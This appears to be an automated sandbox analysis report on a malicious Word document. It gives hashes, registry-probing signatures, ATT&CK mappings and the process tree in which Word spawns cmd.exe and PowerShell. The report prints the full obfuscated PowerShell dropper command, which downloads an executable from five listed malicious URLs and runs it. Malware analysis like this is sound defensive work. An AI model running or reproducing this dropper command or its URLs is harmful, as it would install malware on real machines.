c95d7e6efb2ec61100dba574e1a359927e9726efdad76b4c809b93ef12a06f73

General

Target

b9b0bfe962149e50c52b24cec1275534_JaffaCakes118.doc
Size

217KB
MD5

b9b0bfe962149e50c52b24cec1275534
SHA1

c7b3026099820fd57e7ca7c74944ac22d39e4054
SHA256

c95d7e6efb2ec61100dba574e1a359927e9726efdad76b4c809b93ef12a06f73
SHA512

702a55479507ef63758ee61b132e0cb913188913cf2bbdba20c41fdd967412ec54de83de4983540a9d7a2e58990d73d2496a4a5eac5e0fbc9b5943ec32f11a6b
SSDEEP

3072:SinJXfT7nasKiNKDzaJFUKc0UTE7yZRUV7RJeOzi80:5JXr7nbpEDzYUTE7yZRVUi80

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://mimiabner.com/22D_ZGrV5aY_AvvRf

exe.dropper

http://nt-group.kz/86Rzn_wmF7RyQ7F

exe.dropper

http://hartarizkigraha.co.id/wp-admin/JF0bdEb_lnQt6dKQ

exe.dropper

http://tasmatbaa.com/1MXeJC9_KSsQ7B

exe.dropper

http://trend-studio.art/k6jaCgS_Ukfd_apNei38I6

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2848	372	cmd.exe	90

Blocklisted process makes network request 2 IoCs

flow	pid	Process
24	4452	powershell.exe
28	4452	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
372	WINWORD.EXE
372	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
372	WINWORD.EXE
372	WINWORD.EXE
372	WINWORD.EXE
372	WINWORD.EXE
372	WINWORD.EXE
372	WINWORD.EXE
372	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 372 wrote to memory of 2848	372	WINWORD.EXE	95
PID 372 wrote to memory of 2848	372	WINWORD.EXE	95
PID 2848 wrote to memory of 4452	2848	cmd.exe	97
PID 2848 wrote to memory of 4452	2848	cmd.exe	97

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b9b0bfe962149e50c52b24cec1275534_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Berkshirej45='Crescentt4';$CreditCardAccounti50=new-object Net.WebClient;$Granitez64='http://mimiabner.com/22D_ZGrV5aY_AvvRf@http://nt-group.kz/86Rzn_wmF7RyQ7F@http://hartarizkigraha.co.id/wp-admin/JF0bdEb_lnQt6dKQ@http://tasmatbaa.com/1MXeJC9_KSsQ7B@http://trend-studio.art/k6jaCgS_Ukfd_apNei38I6'.Split('@');$Granitez70='Trafficwaywb73';$Cambridgeshireik76 = '204';$Ridgesj14='Implementedph58';$Officerkc37=$env:public+'\'+$Cambridgeshireik76+'.exe';foreach($JBODfj17 in $Granitez64){try{$CreditCardAccounti50.DownloadFile($JBODfj17, $Officerkc37);$CreditCardAccountmq39='ShoesShoesd41';If ((Get-Item $Officerkc37).length -ge 80000) {Invoke-Item $Officerkc37;$FTPbj82='Portjf32';break;}}catch{}}$calculatejh80='Valleysik6';
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $Berkshirej45='Crescentt4';$CreditCardAccounti50=new-object Net.WebClient;$Granitez64='http://mimiabner.com/22D_ZGrV5aY_AvvRf@http://nt-group.kz/86Rzn_wmF7RyQ7F@http://hartarizkigraha.co.id/wp-admin/JF0bdEb_lnQt6dKQ@http://tasmatbaa.com/1MXeJC9_KSsQ7B@http://trend-studio.art/k6jaCgS_Ukfd_apNei38I6'.Split('@');$Granitez70='Trafficwaywb73';$Cambridgeshireik76 = '204';$Ridgesj14='Implementedph58';$Officerkc37=$env:public+'\'+$Cambridgeshireik76+'.exe';foreach($JBODfj17 in $Granitez64){try{$CreditCardAccounti50.DownloadFile($JBODfj17, $Officerkc37);$CreditCardAccountmq39='ShoesShoesd41';If ((Get-Item $Officerkc37).length -ge 80000) {Invoke-Item $Officerkc37;$FTPbj82='Portjf32';break;}}catch{}}$calculatejh80='Valleysik6';
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3704 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8
1⤵
PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0g2ysmud.4ll.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/372-34-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-8-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-1-0x00007FFB090ED000-0x00007FFB090EE000-memory.dmp

Filesize
4KB

Download
memory/372-33-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-5-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-6-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-7-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-85-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-9-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-10-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-11-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-12-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-13-0x00007FFAC6880000-0x00007FFAC6890000-memory.dmp

Filesize
64KB

Download
memory/372-3-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-28-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-0-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-4-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-2-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-14-0x00007FFAC6880000-0x00007FFAC6890000-memory.dmp

Filesize
64KB

Download
memory/372-50-0x00007FFB090ED000-0x00007FFB090EE000-memory.dmp

Filesize
4KB

Download
memory/372-51-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-52-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-53-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-56-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-57-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-58-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-59-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-60-0x00007FFB09050000-0x00007FFB09245000-memory.dmp

Filesize
2.0MB

Download
memory/372-84-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-83-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-82-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/372-81-0x00007FFAC90D0000-0x00007FFAC90E0000-memory.dmp

Filesize
64KB

Download
memory/4452-40-0x0000023B175A0000-0x0000023B175C2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads